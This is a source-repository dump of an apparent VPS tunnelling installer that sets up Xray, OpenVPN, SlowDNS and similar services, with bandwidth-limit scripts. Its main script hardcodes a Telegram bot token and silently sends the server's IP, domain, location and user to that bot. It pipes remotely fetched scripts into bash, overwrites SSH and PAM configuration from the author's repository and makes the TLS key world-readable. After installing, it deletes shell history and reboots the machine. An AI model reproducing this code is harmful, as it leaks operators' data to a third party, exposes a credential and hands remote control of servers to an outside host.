32 | # Check ur Account 33 | for user in ${data[@]} 34 | do 35 | if [ -e /etc/shadowsocks/${user} ]; then 36 | checkLimit=$(cat /etc/shadowsocks/${user}); 37 | if [[ ${#checkLimit} -gt 1 ]]; then 38 | if [ -e /etc/limit/shadowsocks/${user} ]; then 39 | Usage=$(cat /etc/limit/shadowsocks/${user}); 40 | if [[ ${Usage} -gt ${checkLimit} ]]; then 41 | exp=$(grep -w "^### $user" "/etc/xray/config.json" | cut -d ' ' -f 3 | sort | uniq) 42 | sed -i "/^### $user $exp/,/^},{/d" /etc/xray/config.json 43 | systemctl restart xray >> /dev/null 2>&1 44 | else 45 | echo "" 46 | fi 47 | else 48 | echo "" 49 | fi 50 | else 51 | echo "" 52 | fi 53 | else 54 | echo "" 55 | fi 56 | done 57 | done 58 | -------------------------------------------------------------------------------- /limit/trojan: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | while true; do 3 | sleep 30 4 | data=($(cat /etc/xray/config.json | grep '^###' | cut -d ' ' -f 2 | sort | uniq)) 5 | if [[ ! -e /etc/limit/trojan ]]; then 6 | mkdir -p /etc/limit/trojan 7 | fi 8 | for user in ${data[@]} 9 | do 10 | xray api stats --server=127.0.0.1:10000 -name "user>>>${user}>>>traffic>>>downlink" >& /tmp/${user} 11 | getThis=$(cat /tmp/${user} | awk '{print $1}'); 12 | if [[ ${getThis} != "failed" ]]; then 13 | downlink=$(xray api stats --server=127.0.0.1:10000 -name "user>>>${user}>>>traffic>>>downlink" | grep -w "value" | awk '{print $2}' | cut -d '"' -f2); 14 | if [ -e /etc/limit/trojan/${user} ]; then 15 | plus2=$(cat /etc/limit/trojan/${user}); 16 | if [[ ${#plus2} -gt 0 ]]; then 17 | plus3=$(( ${downlink} + ${plus2} )); 18 | echo "${plus3}" > /etc/limit/trojan/"${user}" 19 | xray api stats --server=127.0.0.1:10000 -name "user>>>${user}>>>traffic>>>downlink" -reset > /dev/null 2>&1 20 | else 21 | echo "${downlink}" > /etc/limit/trojan/"${user}" 22 | xray api stats --server=127.0.0.1:10000 -name "user>>>${user}>>>traffic>>>downlink" -reset > /dev/null 2>&1 23 | fi 24 | else 25 | echo "${downlink}" > /etc/limit/trojan/"${user}" 26 | xray api stats --server=127.0.0.1:10000 -name "user>>>${user}>>>traffic>>>downlink" -reset > /dev/null 2>&1 27 | fi 28 | else 29 | echo "" 30 | fi 31 | done 32 | # Check ur Account 33 | for user in ${data[@]} 34 | do 35 | if [ -e /etc/trojan/${user} ]; then 36 | checkLimit=$(cat /etc/trojan/${user}); 37 | if [[ ${#checkLimit} -gt 1 ]]; then 38 | if [ -e /etc/limit/trojan/${user} ]; then 39 | Usage=$(cat /etc/limit/trojan/${user}); 40 | if [[ ${Usage} -gt ${checkLimit} ]]; then 41 | exp=$(grep -w "^### $user" "/etc/xray/config.json" | cut -d ' ' -f 3 | sort | uniq) 42 | sed -i "/^### $user $exp/,/^},{/d" /etc/xray/config.json 43 | systemctl restart xray >> /dev/null 2>&1 44 | else 45 | echo "" 46 | fi 47 | else 48 | echo "" 49 | fi 50 | else 51 | echo "" 52 | fi 53 | else 54 | echo "" 55 | fi 56 | done 57 | done 58 | -------------------------------------------------------------------------------- /limit/vless: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | while true; do 3 | sleep 30 4 | data=($(cat /etc/xray/config.json | grep '^###' | cut -d ' ' -f 2 | sort | uniq)) 5 | if [[ ! -e /etc/limit/vless ]]; then 6 | mkdir -p /etc/limit/vless 7 | fi 8 | for user in ${data[@]} 9 | do 10 | xray api stats --server=127.0.0.1:10000 -name "user>>>${user}>>>traffic>>>downlink" >& /tmp/${user} 11 | getThis=$(cat /tmp/${user} | awk '{print $1}'); 12 | if [[ ${getThis} != "failed" ]]; then 13 | downlink=$(xray api stats --server=127.0.0.1:10000 -name "user>>>${user}>>>traffic>>>downlink" | grep -w "value" | awk '{print $2}' | cut -d '"' -f2); 14 | if [ -e /etc/limit/vless/${user} ]; then 15 | plus2=$(cat /etc/limit/vless/${user}); 16 | if [[ ${#plus2} -gt 0 ]]; then 17 | plus3=$(( ${downlink} + ${plus2} )); 18 | echo "${plus3}" > /etc/limit/vless/"${user}" 19 | xray api stats --server=127.0.0.1:10000 -name "user>>>${user}>>>traffic>>>downlink" -reset > /dev/null 2>&1 20 | else 21 | echo "${downlink}" > /etc/limit/vless/"${user}" 22 | xray api stats --server=127.0.0.1:10000 -name "user>>>${user}>>>traffic>>>downlink" -reset > /dev/null 2>&1 23 | fi 24 | else 25 | echo "${downlink}" > /etc/limit/vless/"${user}" 26 | xray api stats --server=127.0.0.1:10000 -name "user>>>${user}>>>traffic>>>downlink" -reset > /dev/null 2>&1 27 | fi 28 | else 29 | echo "" 30 | fi 31 | done 32 | # Check ur Account 33 | for user in ${data[@]} 34 | do 35 | if [ -e /etc/vless/${user} ]; then 36 | checkLimit=$(cat /etc/vless/${user}); 37 | if [[ ${#checkLimit} -gt 1 ]]; then 38 | if [ -e /etc/limit/vless/${user} ]; then 39 | Usage=$(cat /etc/limit/vless/${user}); 40 | if [[ ${Usage} -gt ${checkLimit} ]]; then 41 | exp=$(grep -w "^### $user" "/etc/xray/config.json" | cut -d ' ' -f 3 | sort | uniq) 42 | sed -i "/^### $user $exp/,/^},{/d" /etc/xray/config.json 43 | systemctl restart xray >> /dev/null 2>&1 44 | else 45 | echo "" 46 | fi 47 | else 48 | echo "" 49 | fi 50 | else 51 | echo "" 52 | fi 53 | else 54 | echo "" 55 | fi 56 | done 57 | done 58 | -------------------------------------------------------------------------------- /limit/vmess: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | while true; do 3 | sleep 30 4 | data=($(cat /etc/xray/config.json | grep '^###' | cut -d ' ' -f 2 | sort | uniq)) 5 | if [[ ! -e /etc/limit/vmess ]]; then 6 | mkdir -p /etc/limit/vmess 7 | fi 8 | for user in ${data[@]} 9 | do 10 | xray api stats --server=127.0.0.1:10000 -name "user>>>${user}>>>traffic>>>downlink" >& /tmp/${user} 11 | getThis=$(cat /tmp/${user} | awk '{print $1}'); 12 | if [[ ${getThis} != "failed" ]]; then 13 | downlink=$(xray api stats --server=127.0.0.1:10000 -name "user>>>${user}>>>traffic>>>downlink" | grep -w "value" | awk '{print $2}' | cut -d '"' -f2); 14 | if [ -e /etc/limit/vmess/${user} ]; then 15 | plus2=$(cat /etc/limit/vmess/${user}); 16 | if [[ ${#plus2} -gt 0 ]]; then 17 | plus3=$(( ${downlink} + ${plus2} )); 18 | echo "${plus3}" > /etc/limit/vmess/"${user}" 19 | xray api stats --server=127.0.0.1:10000 -name "user>>>${user}>>>traffic>>>downlink" -reset > /dev/null 2>&1 20 | else 21 | echo "${downlink}" > /etc/limit/vmess/"${user}" 22 | xray api stats --server=127.0.0.1:10000 -name "user>>>${user}>>>traffic>>>downlink" -reset > /dev/null 2>&1 23 | fi 24 | else 25 | echo "${downlink}" > /etc/limit/vmess/"${user}" 26 | xray api stats --server=127.0.0.1:10000 -name "user>>>${user}>>>traffic>>>downlink" -reset > /dev/null 2>&1 27 | fi 28 | else 29 | echo "" 30 | fi 31 | done 32 | # Check ur Account 33 | for user in ${data[@]} 34 | do 35 | if [ -e /etc/vmess/${user} ]; then 36 | checkLimit=$(cat /etc/vmess/${user}); 37 | if [[ ${#checkLimit} -gt 1 ]]; then 38 | if [ -e /etc/limit/vmess/${user} ]; then 39 | Usage=$(cat /etc/limit/vmess/${user}); 40 | if [[ ${Usage} -gt ${checkLimit} ]]; then 41 | exp=$(grep -w "^### $user" "/etc/xray/config.json" | cut -d ' ' -f 3 | sort | uniq) 42 | sed -i "/^### $user $exp/,/^},{/d" /etc/xray/config.json 43 | systemctl restart xray >> /dev/null 2>&1 44 | else 45 | echo "" 46 | fi 47 | else 48 | echo "" 49 | fi 50 | else 51 | echo "" 52 | fi 53 | else 54 | echo "" 55 | fi 56 | done 57 | done 58 | -------------------------------------------------------------------------------- /main.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | ### Color 4 | Green="\e[92;1m" 5 | RED="\033[31m" 6 | YELLOW="\033[33m" 7 | BLUE="\033[36m" 8 | FONT="\033[0m" 9 | GREENBG="\033[42;37m" 10 | REDBG="\033[41;37m" 11 | OK="${Green}--->${FONT}" 12 | ERROR="${RED}[ERROR]${FONT}" 13 | GRAY="\e[1;30m" 14 | NC='\e[0m' 15 | red='\e[1;31m' 16 | green='\e[0;32m' 17 | 18 | ### System Information 19 | TANGGAL=$(date '+%Y-%m-%d') 20 | TIMES="10" 21 | NAMES=$(whoami) 22 | IMP="wget -q -O" 23 | CHATID="1036440597" 24 | LOCAL_DATE="/usr/bin/" 25 | MYIP=$(wget -qO- ipinfo.io/ip) 26 | CITY=$(curl -s ipinfo.io/city) 27 | TIME=$(date +'%Y-%m-%d %H:%M:%S') 28 | RAMMS=$(free -m | awk 'NR==2 {print $2}') 29 | KEY="2145515560:AAE9WqfxZzQC-FYF1VUprICGNomVfv6OdTU" 30 | URL="https://api.telegram.org/bot$KEY/sendMessage" 31 | REPO="https://raw.githubusercontent.com/NevermoreSSH/VVV/main/" 32 | APT="apt-get -y install " 33 | domain=$(cat /root/domain) 34 | start=$(date +%s) 35 | secs_to_human() { 36 | echo "Installation time : $((${1} / 3600)) hours $(((${1} / 60) % 60)) minute's $((${1} % 60)) seconds" 37 | } 38 | ### Status 39 | function print_ok() { 40 | echo -e "${OK} ${BLUE} $1 ${FONT}" 41 | } 42 | function print_install() { 43 | echo -e "${YELLOW} ============================================ ${FONT}" 44 | echo -e "${YELLOW} # $1 ${FONT}" 45 | echo -e "${YELLOW} ============================================ ${FONT}" 46 | sleep 1 47 | } 48 | 49 | function print_error() { 50 | echo -e "${ERROR} ${REDBG} $1 ${FONT}" 51 | } 52 | 53 | function print_success() { 54 | if [[ 0 -eq $? ]]; then 55 | echo -e "${Green} ============================================ ${FONT}" 56 | echo -e "${Green} # $1 Successfully installed" 57 | echo -e "${Green} ============================================ ${FONT}" 58 | sleep 2 59 | fi 60 | } 61 | 62 | ### Check root 63 | function is_root() { 64 | if [[ 0 == "$UID" ]]; then 65 | print_ok "Root user Start installation process" 66 | else 67 | print_error "The current user is not the root user, please switch to the root user and run the script again" 68 | fi 69 | 70 | } 71 | 72 | ### Change Environment System 73 | function first_setup(){ 74 | timedatectl set-timezone Asia/Kuala_Lumpur 75 | wget -O /etc/banner ${REPO}config/banner >/dev/null 2>&1 76 | chmod +x /etc/banner 77 | wget -O /etc/ssh/sshd_config ${REPO}config/sshd_config >/dev/null 2>&1 78 | chmod 644 /etc/ssh/sshd_config 79 | 80 | echo iptables-persistent iptables-persistent/autosave_v4 boolean true | debconf-set-selections 81 | echo iptables-persistent iptables-persistent/autosave_v6 boolean true | debconf-set-selections 82 | 83 | } 84 | 85 | ### Update and remove packages 86 | function base_package() { 87 | sudo apt-get autoremove -y man-db apache2 ufw exim4 firewalld snapd* -y 88 | clear 89 | print_install "Install the required packages" 90 | sysctl -w net.ipv6.conf.all.disable_ipv6=1 >/dev/null 2>&1 91 | sysctl -w net.ipv6.conf.default.disable_ipv6=1 >/dev/null 2>&1 92 | sudo apt install software-properties-common -y 93 | sudo add-apt-repository ppa:vbernat/haproxy-2.7 -y 94 | sudo apt update && apt upgrade -y 95 | # linux-tools-common util-linux gnupg gnupg2 gnupg1 \ 96 | sudo apt install squid nginx zip pwgen openssl netcat bash-completion \ 97 | curl socat xz-utils wget apt-transport-https dnsutils socat \ 98 | tar wget curl ruby zip unzip p7zip-full python3-pip haproxy libc6 \ 99 | msmtp-mta ca-certificates bsd-mailx iptables iptables-persistent netfilter-persistent \ 100 | net-tools jq openvpn easy-rsa python3-certbot-nginx p7zip-full tuned fail2ban -y 101 | apt-get clean all; sudo apt-get autoremove -y 102 | print_ok "Successfully installed the required package" 103 | } 104 | clear 105 | 106 | ### Create Xrays directory 107 | function dir_xray() { 108 | print_install "Create Xrays directory" 109 | mkdir -p /etc/{xray,vmess,websocket,vless,trojan,shadowsocks} 110 | # mkdir -p /usr/sbin/xray/ 111 | mkdir -p /var/log/xray/ 112 | mkdir -p /var/www/html/ 113 | mkdir -p /etc/nevermoressh/ 114 | # chmod +x /var/log/xray 115 | touch /var/log/xray/{access.log,error.log} 116 | chmod 777 /var/log/xray/*.log 117 | touch /etc/vmess/.vmess.db 118 | touch /etc/vless/.vless.db 119 | touch /etc/trojan/.trojan.db 120 | touch /etc/ssh/.ssh.db 121 | touch /etc/shadowsocks/.shadowsocks.db 122 | clear 123 | } 124 | 125 | ### Add domain 126 | function add_domain() { 127 | echo "`cat /etc/banner`" 128 | read -rp "Input Your Domain For This Server :" -e SUB_DOMAIN 129 | echo "Host : $SUB_DOMAIN" 130 | echo $SUB_DOMAIN > /root/domain 131 | cp /root/domain /etc/xray/domain 132 | } 133 | 134 | ### Install SSL 135 | function pasang_ssl() { 136 | print_install "Installing SSL on the domain" 137 | domain=$(cat /root/domain) 138 | STOPWEBSERVER=$(lsof -i:80 | cut -d' ' -f1 | awk 'NR==2 {print $1}') 139 | rm -rf /root/.acme.sh 140 | mkdir /root/.acme.sh 141 | systemctl stop $STOPWEBSERVER 142 | systemctl stop nginx 143 | curl https://raw.githubusercontent.com/NevermoreSSH/VVV/main/acme.sh -o /root/.acme.sh/acme.sh 144 | chmod +x /root/.acme.sh/acme.sh 145 | /root/.acme.sh/acme.sh --upgrade --auto-upgrade 146 | /root/.acme.sh/acme.sh --set-default-ca --server letsencrypt 147 | /root/.acme.sh/acme.sh --issue -d $domain --standalone -k ec-256 148 | ~/.acme.sh/acme.sh --installcert -d $domain --fullchainpath /etc/xray/xray.crt --keypath /etc/xray/xray.key --ecc 149 | chmod 777 /etc/xray/xray.key 150 | print_success "SSL Certificate" 151 | } 152 | 153 | ### Install Xray 154 | function install_xray(){ 155 | print_install "Installing the latest Xray module" 156 | curl -s ipinfo.io/city >> /etc/xray/city 157 | curl -s ipinfo.io/org | cut -d " " -f 2-10 >> /etc/xray/isp 158 | xray_latest="$(curl -s https://api.github.com/repos/dharak36/Xray-core/releases | grep tag_name | sed -E 's/.*"v(.*)".*/\1/' | head -n 1)" 159 | xraycore_link="https://github.com/NevermoreSSH/Xcore-custompath/releases/download/Xray-linux-64-v1.6.5.1/Xray-linux-64-v1.6.5.1" 160 | curl -sL "$xraycore_link" -o xray 161 | # unzip -q xray.zip && rm -rf xray.zip 162 | mv xray /usr/sbin/xray 163 | print_success "Xray Core" 164 | 165 | cat /etc/xray/xray.crt /etc/xray/xray.key | tee /etc/haproxy/xray.pem 166 | wget -O /etc/xray/config.json "${REPO}xray/config.json" >/dev/null 2>&1 167 | #wget -O /usr/sbin/xray/ "${REPO}bin/xray" >/dev/null 2>&1 168 | wget -O /usr/sbin/websocket "${REPO}bin/ws" >/dev/null 2>&1 169 | wget -O /etc/websocket/tun.conf "${REPO}xray/tun.conf" >/dev/null 2>&1 170 | wget -O /etc/systemd/system/ws.service "${REPO}xray/ws.service" >/dev/null 2>&1 171 | wget -q -O /etc/ipserver "${REPO}server/ipserver" && bash /etc/ipserver >/dev/null 2>&1 172 | 173 | # > Set Permission 174 | chmod +x /usr/sbin/xray 175 | chmod +x /usr/sbin/websocket 176 | chmod 644 /etc/websocket/tun.conf 177 | chmod 644 /etc/systemd/system/ws.service 178 | 179 | # > Create Service 180 | rm -rf /etc/systemd/system/xray.service.d 181 | cat >/etc/systemd/system/xray.service </dev/null 2>&1 210 | chmod +x /etc/pam.d/common-password 211 | # > BadVPN 212 | source <(curl -sL ${REPO}badvpn/setup.sh) 213 | print_success "OpenVPN" 214 | } 215 | 216 | ### Install SlowDNS 217 | function install_slowdns(){ 218 | print_install "Installing the SlowDNS Server module" 219 | wget -q -O /tmp/nameserver "${REPO}slowdns/nameserver" >/dev/null 2>&1 220 | chmod +x /tmp/nameserver 221 | bash /tmp/nameserver | tee /root/install.log 222 | print_success "SlowDNS" 223 | } 224 | 225 | ### Install Rclone 226 | function pasang_rclone() { 227 | print_install "Installing Rclone" 228 | print_success "Installing Rclone" 229 | curl "${REPO}bin/rclone" | bash >/dev/null 2>&1 230 | print_success "Rclone" 231 | } 232 | 233 | ### Take Config 234 | function download_config(){ 235 | print_install "Install configuration package configuration" 236 | wget -O /etc/haproxy/haproxy.cfg "${REPO}config/haproxy.cfg" >/dev/null 2>&1 237 | wget -O /etc/nginx/conf.d/xray.conf "${REPO}config/xray.conf" >/dev/null 2>&1 238 | sed -i "s/xxx/${domain}/g" /etc/nginx/conf.d/xray.conf 239 | wget -O /etc/nginx/nginx.conf "${REPO}config/nginx.conf" >/dev/null 2>&1 240 | wget -q -O /etc/squid/squid.conf "${REPO}config/squid.conf" >/dev/null 2>&1 241 | echo "visible_hostname $(cat /etc/xray/domain)" /etc/squid/squid.conf 242 | mkdir -p /var/log/squid/cache/ 243 | chmod 777 /var/log/squid/cache/ 244 | echo "* - nofile 65535" >> /etc/security/limits.conf 245 | mkdir -p /etc/sysconfig/ 246 | echo "ulimit -n 65535" >> /etc/sysconfig/squid 247 | 248 | # > Add Dropbear 249 | apt install dropbear -y 250 | wget -q -O /etc/default/dropbear "${REPO}config/dropbear" >/dev/null 2>&1 251 | chmod 644 /etc/default/dropbear 252 | wget -q -O /etc/banner "${REPO}config/banner" >/dev/null 2>&1 253 | 254 | # > Add menu, thanks to NevermoreSSH <3 255 | wget -O /tmp/menu-master.zip "${REPO}config/menu.zip" >/dev/null 2>&1 256 | mkdir /tmp/menu 257 | 7z e /tmp/menu-master.zip -o/tmp/menu/ >/dev/null 2>&1 258 | chmod +x /tmp/menu/* 259 | mv /tmp/menu/* /usr/sbin/ 260 | 261 | 262 | cat >/root/.profile </etc/cron.d/xp_all </etc/cron.d/daily_reboot < /var/log/nginx/access.log" >/etc/cron.d/log.nginx 288 | echo "*/1 * * * * root echo -n > /var/log/xray/access.log" >>/etc/cron.d/log.xray 289 | service cron restart 290 | cat >/home/daily_reboot </etc/systemd/system/rc-local.service <>/etc/shells 310 | echo "/usr/sbin/nologin" >>/etc/shells 311 | cat >/etc/rc.local </dev/null 2>&1 328 | chmod +x /usr/sbin/speedtest 329 | 330 | # > install gotop 331 | gotop_latest="$(curl -s https://api.github.com/repos/xxxserxxx/gotop/releases | grep tag_name | sed -E 's/.*"v(.*)".*/\1/' | head -n 1)" 332 | gotop_link="https://github.com/xxxserxxx/gotop/releases/download/v$gotop_latest/gotop_v"$gotop_latest"_linux_amd64.deb" 333 | curl -sL "$gotop_link" -o /tmp/gotop.deb 334 | dpkg -i /tmp/gotop.deb >/dev/null 2>&1 335 | 336 | # > Install BBR Plus 337 | #wget -qO /tmp/bbr.sh "${REPO}server/bbr.sh" >/dev/null 2>&1 338 | #chmod +x /tmp/bbr.sh && bash /tmp/bbr.sh 339 | 340 | # > Make a swap of 1GB 341 | dd if=/dev/zero of=/swapfile bs=1024 count=1048576 342 | mkswap /swapfile 343 | chown root:root /swapfile 344 | chmod 0600 /swapfile >/dev/null 2>&1 345 | swapon /swapfile >/dev/null 2>&1 346 | sed -i '$ i\/swapfile swap swap defaults 0 0' /etc/fstab 347 | 348 | # > Tuned Device 349 | tuned-adm profile network-latency 350 | cat >/etc/msmtprc </dev/null 2>&1 371 | ln -s /usr/bin/msmtp /usr/bin/sendmail >/dev/null 2>&1 372 | ln -s /usr/bin/msmtp /usr/lib/sendmail >/dev/null 2>&1 373 | print_ok "Selesai pemasangan modul tambahan" 374 | } 375 | 376 | 377 | ########## SETUP FROM HERE ########## 378 | # ORIGINAL SCRIPT BY NEVERMORESSH # 379 | ##################################### 380 | echo "INSTALLING SCRIPT..." 381 | 382 | touch /root/.install.log 383 | cat >/root/tmp <<-END 384 | #!/bin/bash 385 | #vps 386 | ### NevermoreSSHTunnel $TANGGAL $MYIP 387 | END 388 | #### 389 | NEVERMORESSH() { 390 | data=($(cat /root/tmp | grep -E "^### " | awk '{print $2}')) 391 | for user in "${data[@]}"; do 392 | exp=($(grep -E "^### $user" "/root/tmp" | awk '{print $3}')) 393 | d1=($(date -d "$exp" +%s)) 394 | d2=($(date -d "$Date_list" +%s)) 395 | exp2=$(((d1 - d2) / 86400)) 396 | if [[ "$exp2" -le "0" ]]; then 397 | echo $user >/etc/.$user.ini 398 | else 399 | rm -f /etc/.$user.ini 400 | fi 401 | done 402 | rm -f /root/tmp 403 | } 404 | 405 | function enable_services(){ 406 | print_install "Restart servis" 407 | systemctl daemon-reload 408 | systemctl start netfilter-persistent 409 | systemctl enable --now nginx 410 | systemctl enable --now xray 411 | systemctl enable --now rc-local 412 | systemctl enable --now dropbear 413 | systemctl enable --now openvpn 414 | systemctl enable --now cron 415 | systemctl enable --now haproxy 416 | systemctl enable --now netfilter-persistent 417 | systemctl enable --now squid 418 | systemctl enable --now ws 419 | systemctl enable --now client 420 | systemctl enable --now server 421 | systemctl enable --now fail2ban 422 | wget -O /root/.config/rclone/rclone.conf "${REPO}rclone/rclone.conf" >/dev/null 2>&1 423 | } 424 | 425 | function install_all() { 426 | base_package 427 | # dir_xray 428 | # add_domain 429 | pasang_ssl 430 | install_xray >> /root/install.log 431 | install_ovpn >> /root/install.log 432 | install_slowdns >> /root/install.log 433 | download_config >> /root/install.log 434 | enable_services >> /root/install.log 435 | tambahan >> /root/install.log 436 | pasang_rclone >> /root/install.log 437 | } 438 | 439 | function finish(){ 440 | TEXT=" 441 | INFORMATION VPS INSTALL SC 442 | TIME : ${TIME} 443 | IPVPS : ${MYIP} 444 | DOMAIN : ${domain} 445 | IP VPS : ${MYIP} 446 | LOKASI : ${CITY} 447 | USER : ${NAMES} 448 | RAM : ${RAMMS}MB 449 | LINUX : ${OS} 450 | " 451 | curl -s --max-time $TIMES -d "chat_id=$CHATID&disable_web_page_preview=1&text=$TEXT&parse_mode=html" $URL >/dev/null 452 | cp /etc/openvpn/*.ovpn /var/www/html/ 453 | # sed -i "s/xxx/${domain}/g" /var/www/html/index.html 454 | sed -i "s/xxx/${domain}/g" /etc/haproxy/haproxy.cfg 455 | sed -i "s/xxx/${MYIP}/g" /etc/squid/squid.conf 456 | chown -R www-data:www-data /etc/msmtprc 457 | 458 | 459 | # > Bersihkan History 460 | alias bash2="bash --init-file <(echo '. ~/.bashrc; unset HISTFILE')" 461 | clear 462 | echo " ┌─────────────────────────────────────────────────────┐" 463 | echo " │ >>> Service & Port │" 464 | echo " │ - Open SSH : 443, 80, 22 │" 465 | echo " │ - DNS (SLOWDNS) : 443, 80, 53 │" 466 | echo " │ - Dropbear : 443, 109, 80 │" 467 | echo " │ - Dropbear Websocket : 443, 109 │" 468 | echo " │ - SSH Websocket SSL : 443 │" 469 | echo " │ - SSH Websocket : 80 │" 470 | echo " │ - OpenVPN SSL : 443 │" 471 | echo " │ - OpenVPN Websocket SSL : 443 │" 472 | echo " │ - OpenVPN TCP : 443, 1194 │" 473 | echo " │ - OpenVPN UDP : 2200 │" 474 | echo " │ - Nginx Webserver : 443, 80, 81 │" 475 | echo " │ - Haproxy Loadbalancer : 443, 80 │" 476 | echo " │ - DNS Server : 443, 53 │" 477 | echo " │ - DNS Client : 443, 88 │" 478 | echo " │ - XRAY DNS (SLOWDNS) : 443, 80, 53 │" 479 | echo " │ - XRAY Vmess TLS : 443 │" 480 | echo " │ - XRAY Vmess gRPC : 443 │" 481 | echo " │ - XRAY Vmess None TLS : 80 │" 482 | echo " │ - XRAY Vless TLS : 443 │" 483 | echo " │ - XRAY Vless gRPC : 443 │" 484 | echo " │ - XRAY Vless None TLS : 80 │" 485 | echo " │ - Trojan gRPC : 443 │" 486 | echo " │ - Trojan WS : 443 │" 487 | echo " │ - Shadowsocks WS : 443 │" 488 | echo " │ - Shadowsocks gRPC : 443 │" 489 | echo " │ │" 490 | echo " │ >>> Server Information & Other Features │" 491 | echo " │ - Autoreboot On : $AUTOREB:00 $TIME_DATE GMT +8 │" 492 | echo " │ - Auto Delete Expired Account │" 493 | echo " │ - Fully automatic script │" 494 | echo " │ - VPS settings │" 495 | echo " │ - Admin Control │" 496 | echo " │ - Restore Data │" 497 | echo " │ - Full Orders For Various Services │" 498 | echo " └─────────────────────────────────────────────────────┘" 499 | secs_to_human "$(($(date +%s) - ${start}))" 500 | # echo -ne " ${YELLOW}Please Reboot Your Vps${FONT} (y/n)? " 501 | # read REDDIR 502 | # if [ "$REDDIR" == "${REDDIR#[Yy]}" ]; then 503 | # exit 0 504 | # else 505 | # reboot 506 | # fi 507 | } 508 | cd /tmp 509 | NEVERMORESSH 510 | first_setup 511 | dir_xray 512 | add_domain 513 | install_all 514 | finish 515 | 516 | rm ~/.bash_history 517 | sleep 10 518 | reboot 519 | -------------------------------------------------------------------------------- /openvpn/common-password: -------------------------------------------------------------------------------- 1 | # 2 | # /etc/pam.d/common-password - password-related modules common to all services 3 | # 4 | # This file is included from other service-specific PAM config files, 5 | # and should contain a list of modules that define the services to be 6 | # used to change user passwords. The default is pam_unix. 7 | 8 | # Explanation of pam_unix options: 9 | # 10 | # The "sha512" option enables salted SHA512 passwords. Without this option, 11 | # the default is Unix crypt. Prior releases used the option "md5". 12 | # 13 | # The "obscure" option replaces the old `OBSCURE_CHECKS_ENAB' option in 14 | # login.defs. 15 | # 16 | # See the pam_unix manpage for other options. 17 | 18 | # As of pam 1.0.1-6, this file is managed by pam-auth-update by default. 19 | # To take advantage of this, it is recommended that you configure any 20 | # local modules either before or after the default block, and use 21 | # pam-auth-update to manage selection of other modules. See 22 | # pam-auth-update(8) for details. 23 | 24 | # here are the per-package modules (the "Primary" block) 25 | password [success=1 default=ignore] pam_unix.so obscure sha512 26 | # here's the fallback if no module succeeds 27 | password requisite pam_deny.so 28 | # prime the stack with a positive return value if there isn't one already; 29 | # this avoids us returning an error just because nothing sets a success code 30 | # since the modules above will each just jump around 31 | password required pam_permit.so 32 | # and here are more per-package modules (the "Additional" block) 33 | # end of pam-auth-update config 34 | -------------------------------------------------------------------------------- /openvpn/openvpn: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | export DEBIAN_FRONTEND=noninteractive 3 | OS=`uname -m`; 4 | MYIP=$(wget -qO- ipinfo.io/ip); 5 | DOMAIN=`cat /etc/xray/domain` 6 | ADDR="s/xxxxxxxxx/$DOMAIN/g"; 7 | 8 | function ovpn_install() { 9 | rm -rf /etc/openvpn 10 | mkdir -p /etc/openvpn 11 | wget -O /etc/openvpn/vpn.zip "https://raw.githubusercontent.com/NevermoreSSH/VVV/main/openvpn/vpn.zip" >/dev/null 2>&1 12 | unzip -d /etc/openvpn/ /etc/openvpn/vpn.zip 13 | rm -f /etc/openvpn/vpn.zip 14 | chown -R root:root /etc/openvpn/server/easy-rsa/ 15 | } 16 | function config_easy() { 17 | cd 18 | mkdir -p /usr/lib/openvpn/ 19 | cp /usr/lib/x86_64-linux-gnu/openvpn/plugins/openvpn-plugin-auth-pam.so /usr/lib/openvpn/openvpn-plugin-auth-pam.so 20 | sed -i 's/#AUTOSTART="all"/AUTOSTART="all"/g' /etc/default/openvpn 21 | systemctl enable --now openvpn-server@server-tcp 22 | systemctl enable --now openvpn-server@server-udp 23 | /etc/init.d/openvpn restart 24 | } 25 | 26 | function make_follow() { 27 | echo 1 > /proc/sys/net/ipv4/ip_forward 28 | sed -i 's/#net.ipv4.ip_forward=1/net.ipv4.ip_forward=1/g' /etc/sysctl.conf 29 | cat > /etc/openvpn/"$DOMAIN"-tcp.ovpn <<-END 30 | client 31 | dev tun 32 | proto tcp 33 | remote xxxxxxxxx 443 34 | resolv-retry infinite 35 | route-method exe 36 | nobind 37 | persist-key 38 | persist-tun 39 | auth-user-pass 40 | comp-lzo 41 | verb 0 42 | END 43 | 44 | sed -i $ADDR /etc/openvpn/"$DOMAIN"-tcp.ovpn; 45 | cat > /etc/openvpn/"$DOMAIN"-udp.ovpn <<-END 46 | client 47 | dev tun 48 | proto udp 49 | remote xxxxxxxxx 2200 50 | resolv-retry infinite 51 | route-method exe 52 | nobind 53 | persist-key 54 | persist-tun 55 | auth-user-pass 56 | comp-lzo 57 | verb 0 58 | END 59 | 60 | sed -i $ADDR /etc/openvpn/"$DOMAIN"-udp.ovpn; 61 | cat > /etc/openvpn/"$DOMAIN"-ws-ssl.ovpn <<-END 62 | client 63 | dev tun 64 | proto tcp 65 | remote xxxxxxxxx 443 66 | resolv-retry infinite 67 | route-method exe 68 | nobind 69 | persist-key 70 | persist-tun 71 | auth-user-pass 72 | comp-lzo 73 | verb 0 74 | END 75 | sed -i $ADDR /etc/openvpn/"$DOMAIN"-ws-ssl.ovpn; 76 | cat > /etc/openvpn/"$DOMAIN"-ssl.ovpn <<-END 77 | client 78 | dev tun 79 | proto tcp 80 | remote xxxxxxxxx 443 81 | resolv-retry infinite 82 | route-method exe 83 | nobind 84 | persist-key 85 | persist-tun 86 | auth-user-pass 87 | comp-lzo 88 | verb 0 89 | END 90 | sed -i $ADDR /etc/openvpn/"$DOMAIN"-ssl.ovpn; 91 | } 92 | function cert_ovpn() { 93 | echo '' >> /etc/openvpn/"$DOMAIN"-tcp.ovpn 94 | cat /etc/openvpn/server/ca.crt >> /etc/openvpn/"$DOMAIN"-tcp.ovpn 95 | echo '' >> /etc/openvpn/"$DOMAIN"-tcp.ovpn 96 | echo '' >> /etc/openvpn/"$DOMAIN"-udp.ovpn 97 | cat /etc/openvpn/server/ca.crt >> /etc/openvpn/"$DOMAIN"-udp.ovpn 98 | echo '' >> /etc/openvpn/"$DOMAIN"-udp.ovpn 99 | echo '' >> /etc/openvpn/"$DOMAIN"-ws-ssl.ovpn 100 | cat /etc/openvpn/server/ca.crt >> /etc/openvpn/"$DOMAIN"-ws-ssl.ovpn 101 | echo '' >> /etc/openvpn/"$DOMAIN"-ws-ssl.ovpn 102 | cp 